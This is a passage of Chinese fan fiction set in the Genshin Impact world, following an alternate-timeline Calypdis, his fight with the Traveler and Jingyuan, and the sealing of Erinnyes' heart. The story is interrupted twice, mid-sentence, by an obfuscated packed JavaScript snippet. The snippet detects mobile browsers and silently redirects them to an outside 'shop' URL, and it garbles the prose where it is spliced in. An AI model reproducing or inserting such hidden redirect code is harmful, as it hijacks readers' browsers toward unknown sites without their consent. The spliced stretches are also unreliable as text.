“那是谁?你放心说名字,姐给你找回场子。”福勒依斯这下看清了他的眼睛:“……瞳孔更像兽类了,怎么你的龙类血脉觉醒了?可你是一条鱼啊。” 身后有人轻轻叹气:“福勒依斯,你这个笨蛋。” “谁笨蛋了!我聪明得很!”她迅速站直了嚷嚷,回头怒瞪,然后傻了眼,“卡吕普迪斯?” 她熟悉的那个真正的,本世界的,高马尾卡吕普迪斯又叹气:“是我。” 福勒依斯愣了,注视着静原走到最后一个石凳上坐下,才慢慢跟着挪动:“这怎么回事?怎么有两个你?” 静原看着异常沉默的[卡吕普迪斯],只能自己来讲解今天发生的事,以及[卡吕普迪斯]的遭遇。 听完这个漫长故事的福勒依斯完全呆住了,然后扭头用柔软的目光注视着低眉敛眸的[卡吕普迪斯]:“一定很痛吧?无论是灾厄,还是失去,亦或是支撑到现在。一定很痛,很累,很辛苦。” [卡吕普迪斯]抬眸凝视着她,张开嘴唇,想要说什么,最终只是嗫嚅着,声音都变了调,从喉咙和齿逢间挤出几个字:“你会后悔吗?” 用你自己的换我活下来,活得这样痛苦,你会后悔吗福勒依斯?——他如此坦然的承认自己的脆弱,如此询问好友的同位体,好友的过去,似乎只要得到一个确切的答案,就可以毫无负担的死去。 是啊,就连以命换命救下我的福勒依斯都后悔了,那我为什么还要活着?我早该和她一起死在纳塔啊。不然也不用看见那维莱特的崩逝,不会看见厄里那斯的复活,不会看见美露莘的灭亡——他会在死亡到来时满怀希望,希望他的王能够千秋万代永存于世,希望他的王能够为他报仇,他会一直认为美露莘们在庇护下平和安定的生活,他会如此坚信这一点。 那样至少死得很幸福,不是吗? 福勒依斯深深凝视着站在黑暗中的好友的灵魂,无比可悲的发现自己无法将他拉出来,只能坚定的回答:“如果做出那个决定是福勒依斯,那么她绝不后悔。” “因为卡吕普迪斯是福勒依斯最重要的、无可取代的好朋友,是最亲密的、可以托付后背与生死的家人。”她说,“我希望你活下去,因为死亡并不是解脱。” [卡吕普迪斯]只是低下头去,所有人都以为他会哭,就连他自己也这样认为,可是眼眶干涩。 因为泪已经流干了。 福勒依斯纵容他慢慢消化情绪,转头看向自家的鱼:“那这次的纳塔支援,你还去吗?” “去,为什么不去?”静原想得很明白,“纳塔是对抗深渊的第一线,绝对不能崩盘。否则灾难重演只是时间问题。” 缩在枫丹守着那维莱特就有用了?龙王都无法在那样的灾难中护佑全枫丹,加上他就有用了? 知道会出什么岔子,还不去预防? [卡吕普迪斯]离开沉玉谷前没有拥抱福勒依斯,就像他之前没有接受那维莱特的拥抱那样——不是他的王,也不是他的朋友。 这是静原的,不是[卡吕普迪斯]的。 他近乎残忍而执拗的认定这一点。 “你要怎么离开?” “找个人打我。” “啊?你没病吧?”静原一下子破功,“谁家好人上赶着找打啊?” [卡吕普迪斯]嫌弃的看了他一眼:“我来到这里是受到四大执政默许的,因此蒙蔽了此世天空的眼睛,占用了你的另一具躯体行走在大地上,可我本身不属于这个世界。要想脱离,需要打坏这具躯体,暴露我的原本,让世界驱逐我回到我自己的时间线去。” 是因为他自己来到了另一个世界才会准许旁人打碎他的躯体。如果还是在原本世界的深渊幻境中,他早就杀穿了。 “……有个问题。你占用了我的另一具躯体,那你世界的两具躯体呢?” “只剩一具,应该被执政守着。”[卡吕普迪斯]平淡道,“之前在纳塔就毁掉了其中一具,不然[福勒依斯]也没法将我从死人的国度带回来。以命换命,用的是她的命,和我的一具躯体、一个身份,以此蒙蔽死亡。” “那你……还能死吗?” “死不了了。想死也死不了。”那个世界的大家都希望他活,都让他活,死亡的国度早写下了他的名字,换言之,他死亡的权利已经被使用过了,已经有一具躯体占用了那个唯一一次死亡的机会,从此死者的国度拒绝他的二度造访。 本来他可以死的,只要当初救下他的人承认自己后悔,哪一个都行——可是福勒依斯不后悔,哪一个都不会后悔。 福勒依斯绝对不会成为杀死卡吕普迪斯的凶手。 福勒依斯绝对会救卡吕普迪斯,用以支付当年卡吕普迪斯对她的救命之恩。因为卡吕普迪斯曾站在她命运的转折点,带她奔赴生。所以她也会在未来站在卡吕普迪斯的命运转折点,带他拒绝死。这就是命运写好的代价,这就是命运所谓的公平。 而福勒依斯深处其中,完完全全,心甘情愿。 [卡吕普迪斯]看着他,没有表情,无悲无喜,好像刚刚的失态只是一个错觉,又像云端的天神:“这就是代价。获取,支付,此为交易,此为公平。” [福勒依斯]用自己的命换得[卡吕普迪斯]的在死亡国度的回程票,[卡吕普迪斯]用自己不能死亡换得回到人间,回到枫丹求援的准许。 而如今,静原也要支付这个获知未来,获得珍贵情报与告诫的代价——他的另一具躯体,他的另一条命。 很难说第二条命是原本属于他的东西,还是早在命运馈赠时就注定要收回的东西。因为化形能力是高天对原始胎海的授意,而[卡吕普迪斯]的到来又有着原初四影的手笔。 “战胜我,战胜时间,战胜永不消逝的消逝*……原来是这个意思。”静原的嘴角向上扬,那是一个大大的笑容,他从未如此大幅度笑过,“是我占便宜了。” 本来就只能有一条命,用他多出来的一条换来未来更多人存活的可能,简直就是天上掉馅饼,半夜梦回想想都能笑醒的程度。 你看,他也完完全全心甘情愿。 静原笑着笑着,蓦的流下眼泪。 这就是命啊。这就是命运啊,是提瓦特早已写好的命运。在传说中,命运的三女神公正得近乎冷酷严苛地执行各自的职责,分配着世间的命运和因果。纺织、丈量、剪断——命运的织机纺织命运之线,高天的神明丈量每一个生命的长短,然后在规定的时刻剪断*。 从一开始,他的人生轨迹就被书写好了。就像木偶登台演出,丝线连接着它的每一处关节,让他或喜或笑,或悲或闹,贪痴嗔怨,无一不是木偶师的意志体现,无一不是对剧本的演绎。 不过意外让他的那根丝线劈了叉——丝线是可以劈开的,有的绣娘甚至精通这门劈四的手艺。 劈开的丝纤细,脆弱,韧性自然不如从前的那一根。可如果这根丝线代表的是命运,那就意味着新的分支与可能。 不过说不定劈开的丝不是意外呢。 字面意义上的打死[卡吕普迪斯],静原是没法做到的。 因为水免(这什么冷笑话)。 那维莱特更不会答应他们的要求,尽管这位王素日里对眷属宠爱有加甚至称得上有求必应百依百顺,但他绝对不会伤害自己的家人。 “所以就该我上场了?” 旅行者拿着自己剑,站在海边沙滩上:“虽然能打[卡吕普迪斯]我很高兴,但是这种安排上场怎么这么让人不爽。” 静原安抚他:“我放在海底洞窟的宝箱全都给你,有很多你喜欢的宝石。” 旅行者当即扬头挺胸,两眼里冒出对宝箱和原石最纯粹的渴望,熊熊烈火燃烧其中:“热心助人是一个优秀的大冒险家必须具备的素养,解决好朋友的困难是我旅行者应尽的职责!!吾辈义不容辞!!!” 派蒙:“……” 派蒙不想看他这副见钱眼开的样子:“变脸变得太快了。” 静原摊手,并不多言。 反倒是[卡吕普迪斯]再次横持法杖站在海面上,平静的注视对手的互动,仿佛又看见了昔年金发少女与白发伙伴在枫丹大地上勘探的身影。 少女的笑容,少女的睡颜与眼前少年的脸重合。 真奇怪,他想,明明是双生子,可是一点也不一样。 流水再次涌动,洪流裹挟着他的躯体,让他能站在浪潮的尖端居高临下的宣告:“向我发起攻击,用你最强大的力量,最拿手的招数。” 以[卡吕普迪斯]为中心,无色的波纹向外扩去,如同涟漪晕染开。薄薄的水流从涟漪外圈的边缘而起,向上构筑半圆形的保护罩,旅行者在里面仰头看,水色的天穹很快变为与肉眼看到的蔚蓝天空无异。 四周是竖起的七根石柱,残垣断壁与当年在蒙德所见的千风神殿有着些许相似之处,细细看还能窥见久远过去匠人精心雕琢的花纹。 圆台自水中心上浮,并没有浮出水面,台子上面浅浅一层水,踩上去能打湿裤脚。 派蒙对自己能进来毫不意外,只是仰头去看这方天地的景色,除了水还是水,远远的望不到尽头。 竟然还有风吹过? “你是把我们拉到哪个祭坛上了吗?”派蒙忍不住询问。 “大概吧。”他并不是很想具体解答。 静原顿了顿:“我为什么也在这?” “因为你也得同我打。”[卡吕普迪斯]如此道,“这是规则,驱逐我的除了世界,还得有你。” 他怀着隐秘的恶毒心思,看着另一个自己愣愣的思考了一会,然后点头接受了他突如其来的要求。 [卡吕普迪斯]终于笑了,像是溺水的人抱住了漂来的浮木一般:“那就开始吧。我不会留手。” 老实说,和另一个自己在领域内打架,静原也有点吃不消。 他从容的把自身的定位从主C改为辅助,为旅行者挡下了绝大多数水元素攻击。 [卡吕普迪斯]依旧是闲庭信步般在圆台上走动,双脚触及到的水能为他源源不断补充体能与力量,当然,静原也可以。 所以越打越乏力的只有旅行者。 第一形态的[卡吕普迪斯]仍然可以保持人类的形态,旅行者对他的攻击多数被法杖拦下,甚至无法穿过水流对他造成切实伤害。等旅行者五种元素力用了个遍,才打得对手进入第二形态。 [卡吕普迪斯]跳下圆台沉入水中,只有下半身改变了,变成旅行者熟悉的鱼尾模样。他绕着圆台游动,不断掀起浪潮与洪流拍打台上的几人,其中夹杂着物理伤害,一直防御的静原冷不丁被他敲一闷棍——烦死了。 第二形态好说,毕竟静原也可以下水大尾巴抽他。 第三形态出现的时候,周围的海水与天空也变为漆黑的夜幕与粘稠的鲜血。 踩着不知道是什么生物血液的旅行者毛骨悚然,静原已经到旁边吐去了,帮不上忙。 他僵硬的扭着脖子,向身后看去。只看得到一缕蓝色的发垂下,贴着旅行者的脸颊,让他想到了冰凉冷湿的湖水。有锋利的指尖轻轻划过皮肤,颈脖泛起酥酥麻麻的痒意,然后是自尾椎上窜到整根脊骨,整个后背的寒意。 像是一座龙脊雪山贴在他后背。 “你知道吗?”身后的怪物刚从水中爬出来,带着丝丝缕缕的铁锈腥气,“只要在这里杀了你,我心中沸腾的火焰就能稍稍停歇。” 好疼啊。每日每夜都有烈火灼烧他的五脏六腑,纯水做的心脏被高温蒸腾,吱呀吱呀尖叫着,哭喊着。 好痛、好痛、好痛——“好痛啊。” “好痛啊。”吐气幽兰,怪物张开他的口唇,森白的牙与深渊一般的口腔里突然睁开一只又一只的猩红无珠的眼。它们眨了眨,同时目移,看向金发的旅行者。 旅行者闻到了愈发浓郁的腥甜。 他的腿在颤抖,无法遏止。 肩膀陡然传来一阵剧痛,尖牙咬破衣服与皮肉,血液被吮吸——痛到旅行者想要尖叫,想要挣脱,想要反手将剑插进怪物的颅顶。 可是他没有力气,流水锁住了他的双腿,他甚至跑不掉。 “说真的,你别太恶心了。” 一只带着暖意的手穿过旅行者脸侧,抓住那张已经异变的脸,像撕一张狗皮膏药一样撕下来甩开。 旅行者被静原抱在怀里,贴着人鱼的锁骨和皮肤,终于从彻骨的寒冷中脱离,就像在雪山迷途的旅人终于走到了一簇燃烧的篝火边。 得救了。 静原一手扣着旅行者的后脑勺,一手绕到少年后背用法杖挡住那些猩红液体中涌动的扭曲怪物。搓搓少年的金发,低声哄道:“刚刚我把派蒙送出去了,抱歉来得有些晚。别怕别怕,我在这里。 旅行者打了个寒颤:“那是什么?” 那个东西,那个咬他的东西——“他发疯了。”静原言简意赅,“没事,我来,到我身后躲着,等会我去送你出去。” 静原用流水愈疗旅行者的肩膀和伤口,因为怕惊动那个家伙,只能贴近了少年的耳朵和脸颊轻轻说:“不要回头看他。虽然你是从世界之外来的旅行者,但是这种东西还是别看为好。” 太掉san值了。 静原也打了个冷颤,狠狠搓搓怀里的少年,囫囵将人打包塞到他身后,怪物从身前奔袭,他一脚猛踹出去,反手打开流水屏障的一条裂口,将旅行者甩出去。 “卡吕普迪斯!!”旅行者在沙滩上打了几个滚,扭头想要看清楚到底是个什么情况,可是海上空荡荡的,没有什么屏障,也没有枫丹的人鱼和不速之客。 派蒙像个小炮弹似的砸进他怀里,被吓得打哭嗝:“我还以为,我还以为你出不来了——卡吕普迪斯不让我在那里等你,你没事吧旅行者?有没有受伤?卡吕普迪斯呢?他怎么没有出来?你们打赢了吗?” 派蒙有好多好多问题,而目前唯一能回答她的人只是缓缓摇了摇头。 卡吕普迪斯…… 与外界想象的凶险不同,静原要面对的情况并不如旅行者在场时那般不可控制。 毕竟披着人鱼外表的怪物只是疯了,不是傻了。 “你放他走了。”怪物的指甲是黑色的,与他暗红色的手臂皮肤形成诡异的冲击。 “对,他还小。”静原简直没眼看,“你把自己整成了个什么玩意。太恶心了。” “大概是怨愤吧。母亲被深渊与血泪污染,我拥有祂全部的力量,也被流水承载的日日夜夜的哀嚎怨愤污染了。变成了现在的样子。”怪物声音平淡,“平时顶着一张鱼皮能装一下,只是偶尔会破功……算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098490|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们已经成功打破了这具躯体,结界消失后,我就会被驱逐了。” “那我现在可以打你吗?看到你就手痒。” “……我会还手的哦。”来自深海的怪物轻轻说着,看不出白日里的尖酸刻薄,看不出他的孤僻绝望,“我是不会死去的,你要明白这一点。” “知道了。” 属于童话故事中的美丽人鱼躯体早已不复存在,取而代之的是深蓝皮肤的的海怪——大概是面前血污中红色怪物的翻版。 静原从来没有在任何人面前展露出如此模样,毕竟不太符合他的审美,不过是在另一个更加丑陋的自己面前就无所谓了,毕竟不会更难看。 只是不符合人的审美而已,对于任何一种肉食类动物来说,他都长得很好看。暗色的皮肤便于黑夜行动,利爪与尖牙是绝佳的捕食武器,覆盖下身的鳞片坚硬无比,是天然的生物盔甲。 两个怪物互相撕咬,在另一个世界流出的腥臭海水中翻腾打滚,既然水元素无法攻击到对方,那就用口器与爪牙撕咬他的血肉,回归最原始的生物本能,像畜牲一样——可他们不是。 静原能感受到滚烫的,灼热的血滴在他脸颊,然后是胸膛上。 怎么会这么烫,好像那不是血,而是被包裹的火焰。 撑在他上方的怪物将脸埋进他脆弱的胸膛,静原几乎觉得对方是想要咬破胸腔的皮肉,去看被骨骼保护的心脏。 可是怪物没有。 怪物只是贴在他的胸膛上,去听那颗心脏的跳动。 过了好久他才听到怪物说:“都怪你们,我要重新补我的鱼皮。” 躺在血泊里的静原莫名想起宠物店的鸡肉鱼皮卷——卖给小狗磨牙用的小零食。 他听见了自己说:“你补得明白吗?我来。” 静原看着面前勉强有了个人形的家伙,再一次意识到被死亡拒绝是什么意思。 “你活了多少年?” “记不清了。” “……” “静原。” 他听见对方叫出他真正的名字,他听见对方在黑暗中飘渺的声音:“静原,我走了以后,你也会被死亡拒绝。要我在这里了结你吗?出于对[我]的怜悯,我愿意这样做。” [卡吕普迪斯]占据了他的另一具躯体,躯体死亡回到原本的世界去,那么此世的死亡国度也会拒绝静原的第二次到访。 [卡吕普迪斯]笑起来:“我很善良,不是吗?” 真坏啊。 静原心想,让我被死亡拒绝的是你,现在要送我去死的也是你。你到底是有多憎恨那个谁也保护不了的自己? “最糟糕的结局我已经看到了,虽然一开始很难接受,不过看久了也就适应了。”静原的嗓子刚刚才被贯穿,修补好了之后说话声音有点沙哑,咳嗽了一会继续叭叭,“不劳烦你继续操心了,不死也挺好的,起码我能早点回来给那维莱特挡一下。” “我恨你,静原”[卡吕普迪斯]说,“我恨你,凭什么你的世界他们都活着,只有我被抛下了。” 至亲挚友都在死亡的国度,只有他被拒之门外。是惩罚吧?惩罚他当年在纳塔濒死之际祈求可以回到故土,于是影子回应了他的许愿,神迹与神罚接踵而至。 往前是王与孩子们倒下的尸体,往后是消散在天地间的纯水精灵与灭亡的文明,只有他站在原地,被死亡抛却在炼狱般的人间。 他能恨谁?因为大家都那么爱他,希望他活下来。于是他只能恨自己,恨自己谁都保护不了。 明明他是大守护者啊,他应该守护枫丹和大家啊。 他想哭,可是眼泪早已流干了,只有一身滚烫的血。 静原只是平静的解开了结界屏障,看着对方的身形如飞灰一般散去,什么也没有说。 天空中似乎有什么投下了视线,很快又移开。 看着静原从海里游上来后,旅行者和派蒙连忙抱了上去:“你能回来就好。” “我当然会回来,毕竟我是卡吕普迪斯。”静原笑了笑,“他走了,这件事算处理完毕,我要回沫芒宫写工作报告,要一起回去吗?” “今天你们受累劳多,晚上我请大家吃饭,压压惊,把晦气都冲掉。” 旅行者确认对方身体没问题后才算松了口气,虽然不太理解为什么另一个[卡吕普迪斯]要咬自己,但是眼前的卡吕普迪斯说没问题的话,他信。 “我不会客气的,要多吃一些。”旅行者叹气,“好累,感觉精神也很疲惫。” 派蒙深以为然的点点头,静原轻轻捏了捏她的包子脸:“那走吧,去德波大饭店吃大餐。” “好耶!”派蒙的快乐总是很简单,“吃大餐!” 旅行者也跟着高兴起来。 吃完饭道别,旅行者和派蒙去下榻的旅店休息,静原在那维莱特办公室挑灯写工作报告。 驱逐外敌也是大守护者的份内职责呀。 静原对这份直接交给那维莱特对书面报告没什么可隐瞒的,只是一些部分轻描淡写带过,细细描述了另一条世界线的未来。涉及到天空和原初四影的地方则是用奇怪的,只有他们知晓的符号代替。 人类和魔神知晓天空岛的主人的秘密遭遇灭顶之灾,可是龙众不会因为知晓这些事就被灭口,只要不说出去就没事——姑且算是世界旧主人的一点点特权。 好伤脑筋啊……等那维莱特下班买点炸鸡薯条回去吧,昨天冰镇了两瓶枫达,今晚配炸鸡喝正好。 静原美滋滋的安排了今晚的宵夜,一旁的看文件的那维莱特听到他忍不住的哼笑,虽然莫名其妙,不过自己的眼角也带了些笑意。 应该是想到了什么高兴的事吧。 静原心想,确实是值得高兴的。他被死亡拒绝,那么无论是未来的纳塔支援战役,还是后来的枫丹战役,他都能活着保护大家。福勒依斯不会因他而死,那维莱特也能等到他回来,厄里那斯不会被深渊教团复活,美露莘们也不会被人类杀害——他可以继续保护大家了,因为他不会死去。 其实这就是[卡吕普迪斯]的目的吧? 找派蒙什么的都是借口,旅行者荧沉睡的话,派蒙一定会紧紧跟随在被荧托付的那个人身边,而不是莽莽撞撞的一头扎进陷阱等待救援。 从一开始就是装的啊。不论是对着派蒙说要带她走,还是对旅行者空出手(这个可能确实是出于对深渊教团王子殿下的厌恶),亦或是在那维莱特面前跟他吵架——都是装的。他真正的目的在去见福勒依斯时忍不住问出的问题后暴露了。 他渴求死亡,可是给予他生的福勒依斯再一次拒绝给予死。 他憎恨静原,憎恨自己,不论是他还是静原都没有区别,统一的憎恨,恨到咬牙切齿午夜时分辗转反侧,恨到想要生食其肉。可是静原的家人和朋友还活着,于是静原也要活着。他收走了静原的死亡,告诉静原未来会发生什么,要求静原不惜一切代价保护家人同伴。 我就是你的未来——[卡吕普迪斯]如此对静原无声的说道。 出于恶意的收走死亡是为了让静原保护家人朋友。 出于善意的赐予死亡则是真正的陷阱,一旦静原恐惧变成他的模样,恐惧这样的未来,他就会取而代之,他自己去保护这个世界的家人与朋友。 反正两具躯体摧毁其中一具就可以了,[卡吕普迪斯]完全可以取代卡吕普迪斯。他们有什么区别吗? 反正那维莱特不会对他动手,福勒依斯也不会伤害自己的朋友,美露莘们更好说了,可爱的孩子们真的忍心拒绝一个遍体鳞伤的,另一个世界的叔叔吗? 这就是[卡吕普迪斯]赐予死亡的真正含义。 静原想到这里,没忍住摸了摸脖子。 红黑色的纹路遍布曾经纯白的石台。 卡吕普迪斯推开门,迎接他的是红色的方块刑具——被他一棒打开。 “……我还以为是入侵者。” 卡吕普迪斯眼皮子都懒得抬:“那你看门的功夫实在不行,真要是入侵者来了,门都给你踹烂。” 说话的家伙与施展力量攻击的不是同一个,卡吕普迪斯不想提起她们这些神经病的名字,只想回到深海睡觉。 “不跟我们讲讲你的冒险经历?”女神微笑道,“好歹我守着你在这个世界的身体唉。” “然后我从外面推开门回来?”卡吕普迪斯甚至都懒得笑,“你也是老眼昏花了,什么时候把身体当垃圾丢门外都不知道,赶紧下台这个执政我来当吧。” “不要,你被若娜瓦拒绝了,我可不会,因为【永恒】是不朽的。”女神微笑,“晚安,小鱼。” “别这么叫我,恶心。” 卡吕普迪斯踹掉了半截长台,离开了天空岛,奔赴地上红色的海。 【永恒】的女神微笑注视着他离开,而维系者只是沉默。 64.梦非梦 旅行者虽然被打,被咬,被敌对,但还是跟卡吕普迪斯保持友好关系。 真感动啊(目移)。 有时候连他自己都觉得意外,明明另一个[卡吕普迪斯]混淆了两个世界的人,自己却还是分的清,而且忍受了对方的迁怒。 “因为他把你放在了施暴者的位置上。”这个世界的卡吕普迪斯对他说,“将你受害者的身份隐匿了。让你不得不为另一条世界线上的选择负责,就像让现在的你为未来的你所作所为负责一样,很荒谬,也很不讲道理。本身是一种陷阱,你分得清的,不过经过他这么一搅和,也糊涂了不少。” 卡吕普迪斯说:“只可惜这种道德绑架在枫丹不计入量刑。我打回去,也很不好说……给他打爽了。” 卡吕普迪斯说从来不知道另一个自己会成为那种变态,言辞间搓搓胳膊,鸡皮疙瘩掉一地:“不行,我也对不住你。要不你咬我一口,打我一顿,再带你找一些宝石吧。” 虽然旅行者很喜欢那些亮晶晶的彩色石头,但这次见钱眼开的旅行者还是义正言辞的拒绝了,以及打回去这个提议:“好了好了,一笔勾销。这个世界是荧取代王子的位置,我……我也担心她会做出什么事。” 虽然他一直认为妹妹荧是世界上最可爱最好的女孩子,他从前不觉得荧会做出[卡吕普迪斯]描述的、深渊教团的事,所以他对于[卡吕普迪斯]的话向来半信半疑,但是……以防万一,对吧? 不知道为什么,说出这些话后,他感觉卡吕普迪斯看他的眼神很不对劲。 怜悯吗? 又不太像。 卡吕普迪斯蹲下来,与他视线平齐,脸上全是认真与严肃:“不要畏惧已知的未来。当你畏惧的时候,另一条世界线的侵蚀就已经开始了。” [卡吕普迪斯]变成那样扭曲的怪物,很难说是真的疯掉了,癫狂了,还是半真半假的恐吓。毕竟严格来说,[卡吕普迪斯]第三形态完全可以将旅行者以及后来的他撕咬至死,可是他没有做到那种程度——静原撕下对方的脸皮比预想中更简单,可他原本只是想掰开对方的头让他别再继续咬旅行者了。 后来[卡吕普迪斯]跟他说的那些话,透露出的取而代之,也让静原心脏狂跳。 对于旅行者来说,对妹妹可能造成的灾难而畏惧是情理之中,而静原得让他将两个世界的认知隔离。 一个失去了最重要的生机,只剩下炼蛊般残存的胜利者,以及原初四影这种级别大能的世界走到末路尽头,换作是静原,第一反应都会是去吞并其他世界,来保留即将毁灭的家园和回忆。 “你和我之间至少要有一个人是清醒的。”静原说,“别害怕,不会比那种情况更糟糕了。等你踏上新的旅途,不管是惊喜还是磨难,都不会比那种情况更糟糕,你该轻松的笑一笑。” “因为你在乎的人和事都还在,我们都在你身边呢。。” 旅行者这边打气鼓劲完,静原开始为日后极大可能发生的纳塔支援做准备。那维莱特作为知情人当然会放他出去,但自保的实力也是很必要的。 于是当旅行者回到蒙德过夏天的时候,静原提着武器走遍了枫丹的土地,游遍了水域,细细勘探每一缕深渊的痕迹,然后清除。 那是个极其庞大的工作量,不知情的美露莘们看着都心疼。不过好在因为静原和龙众几百年一直在守护水脉与土地,枫丹已知的深渊残留不多,唯二能让静原头痛的就是厄里那斯的心脏与枫丹科学院那帮疯子。 能和巨兽厄里那斯相提并论,可见枫丹科学院在静原心里是个什么形象。 反正不是什么正常人待的地方。 科学院研究院:偏见太大了吧卡吕普迪斯大人!这不公平! 静原管他公不公平,带着沫芒宫职员花了一个月时间查科学院的账目,以及记载的各种材料成品的去向,风声鹤唳后又揪出了一批人,该革职革职,该入狱入狱,该清理清理,静原已经能够面不改色,其他文员恨得咬牙切齿也与他无关。 大概在心里痛骂他神经病。 静原如此想着,然后离开新枫丹科学院,去把各处的怪物都收拾服帖。 再就是对厄里那斯的封印。 他站在[特别温暖的地方],站在厄里那斯的心脏面前,还能够感受到外壳坚硬风化的心脏内里极其缓慢的鼓动。每一下都很绵长,似是群山的呼吸——只要厄里那斯想,它随时可以活过来。 不过它不愿意。 说来也很好笑,静原和厄里那斯其实没有真正言语沟通过。无论是五百年前的厮杀,还是几百年前被毒素迷晕的时候,厄里那斯的话他都没有听懂。 厄里那斯是美露莘们的父亲,静原是美露莘们的叔叔和监护人,他俩的关系勉强可以算是没有血缘关系的兄弟。恩怨早在厄里那斯奔赴死亡时化为飞烟,五百多年的时间足够将一切变为尘土泯灭,因此静原对厄里那斯总体感官其实称得上不错。 他站在那颗心脏面前沉默许久,石化的骨骼上覆盖尘土,外界的水一点一点往下渗透,暗河流动,野草和荧光植物疯长,水晶蝶悠然蹁跹,尾端流光四溢,然后停驻在他的肩膀上。 静原轻轻道:“我可以见你吗?厄里那斯。” 这是他五百年来第一次提出要见厄里那斯的灵魂——他早知道对方一直在注视着体内发生的一切。 作为厄里那斯喜欢的深海精灵,静原当然可以见到巨兽的灵魂。 水晶蝶本就是沉积的水元素,奇妙的幻境展开后,自然也化作流光。幻境里粉紫色的植物铺满地面与山坡,那个散发着柔和光芒的“美露莘”站在高坡上注视着下方的人鱼,面上似乎扬起了一个温和的笑容。 那是厄里那斯的灵魂。 “好久不见,深海的小精灵。”厄里那斯的声音同样轻柔温和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120548|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“可以告诉我你的名字吗?” 时隔五百年,厄里那斯终于亲耳听到对方的自我介绍。就像当年它在枫丹海中看见亮晶晶蓝尾巴拍打浪花的心情一样,就像阳光照射在它不见天光的心脏上一样,它再一次问出同样的话,对方就像当年预想中一般回应。 “我叫,卡吕普迪斯。” “真是好听的名字,虽然听女儿们提起过很多很多次,可我还是想亲耳听到你回答我的这个迟到五百年的答案。”厄里那斯询的声音听上去很平静,“武器用得还顺手吗?” “很顺手,多次保护我免受深渊侵蚀的痛苦。谢谢你,厄里那斯。” 厄里那斯:“伤害你并非我的本意,但错误和痛苦已经造就,我能做的只有弥补了。” 厄里那斯看着沉默的人鱼,笑了笑:“你是来封印我的心脏的,对吗?” “……是的。因为我从一种特殊渠道了解到你会在未来被迫复活。所以……抱歉。” 厄里那斯只是摇摇头:“不用对我道歉,我本质上是入侵者,驱逐我,杀死我是你保护大家的必要手段。这是正义的事情,你不需要道歉。” “而且如果是被迫复活,我一定会带来更多灾难。我的女儿们,她们可爱的小房子也会毁掉吧。”小小的灵魂轻声叹气,“我是母亲的造物,尘世手段永远无法彻底杀死我,那就封印我的心脏,不要让我再一次带来灾厄了。” 厄里那斯说:“我……恐惧带来灾祸,我想要一直看着她们欢笑的容颜,我想要看着她们幸福的活下去。所以,动手吧小精灵。” “你把即将酝酿的错误掐灭在摇篮中。而我会做一个漫长到没有尽头的梦,和你们一起……” 静原沉默的听着,当粉紫色的草地褪去,被阴湿的水流与荧光植物叫醒后,他才用了纯粹的流水结印,掐灭了厄里那斯心脏重新跳动的可能。 直到此地寂静到只听得见水嘀嗒的响声后,他张了张唇说:“做个好梦,厄里那斯。” 无人回应。 离开海沫村回到岸上正是下午,暖阳的光芒照射在七天神像上,闪闪发亮。茉洁草遍布青草地,有风吹过香柏木林,枝叶间摩擦的声音像是人在簌簌低语。 海风送来今晚风平浪静的好消息,远处传来鲸群飘渺的歌声。鱼鸥盘旋飞过,叫声有着些许吵闹。 今日与昨日有什么区别呢? 今年与旧年有什么区别呢? 静原,你记得从前吗? 他不记得了。他的记忆就像是被那些年年上涨的海水淹没的原野与草地,海水盖在上面,一点点冲刷褪色,直到最后只剩茫然。 如今就连厄里那斯这个名字也要被“海水”带走了。 …… 嗯,今天是个好日子,你也这样觉得,对吧? 他走入枫丹廷,踩着被阳光晒得暖暖的地板一步一步朝前,步履坚定且从容。 65.番外 现世论坛(二)[番外] 卡吕普迪斯角色pv【渴求】: [如果人生是一本被剧透的书,你还会有兴趣再看一遍吗?] 人鱼坐在海崖上平静的眺望远方的黄金邦国,身后是破烂的小木屋与鲜花芬芳的草甸。悠扬的乐章仍在被演奏,而他收回远眺的目光,垂眸继续用湖光铃兰编花环。 [我曾经以为我没有兴趣再看一遍。] 湖中垂柳下的纯水精灵感叹:“那个不可一世的王朝就这样沉没了,可是她看上去并不高兴,这是为什么呢?” 他弯腰采集花束:“纯水精灵也会关心尘世的纷争吗?” 精灵只是耸肩:“只是因为流水将那个人类的痛苦传递到了同族身边,其他同族将她引荐给女主人,她的痛苦也就变为了我们共同的痛苦。” “……听上去并不美妙。” “谁让我们曾同属一脉呢。” [她的结局被安排好了,真可怜。] 众水的女主人注视着贝壳床上端坐的人鱼,微笑着发出邀请:“要和我一起去建立人类的国度吗?” 他看着对方模糊的面容,以及新获得的魔神的位格,近乎怜悯的想着她的未来,直接拒绝了神的邀请:“不,我有效忠的王了。” 众水的女主人叹气:“真可惜,卡吕普迪斯。不过我仍然欢迎你到岸上来。” 并不可惜。他淡淡的瞥过视线去,不再看她。 [那是注定的死亡,不是吗?] 诸神的讨伐,魔物的肆虐,血液化为汪洋,乐园变为众生屠场。他看见众水的女主人倒在了战场,就连尸体也被用来阻拦深渊入侵的脚步。万物为此哀哭,可天地不会动容。 鲜红的血在眼眶中盈聚、垂落,湖蓝色的眼睛注视着阴云密布的南方天空,顷刻变为殷红。而天空上方,众水的女主人驾驶着白马车骑正奔赴战场,一切尚未开始,可结局早已注定。 [这也是我的死亡吗?] 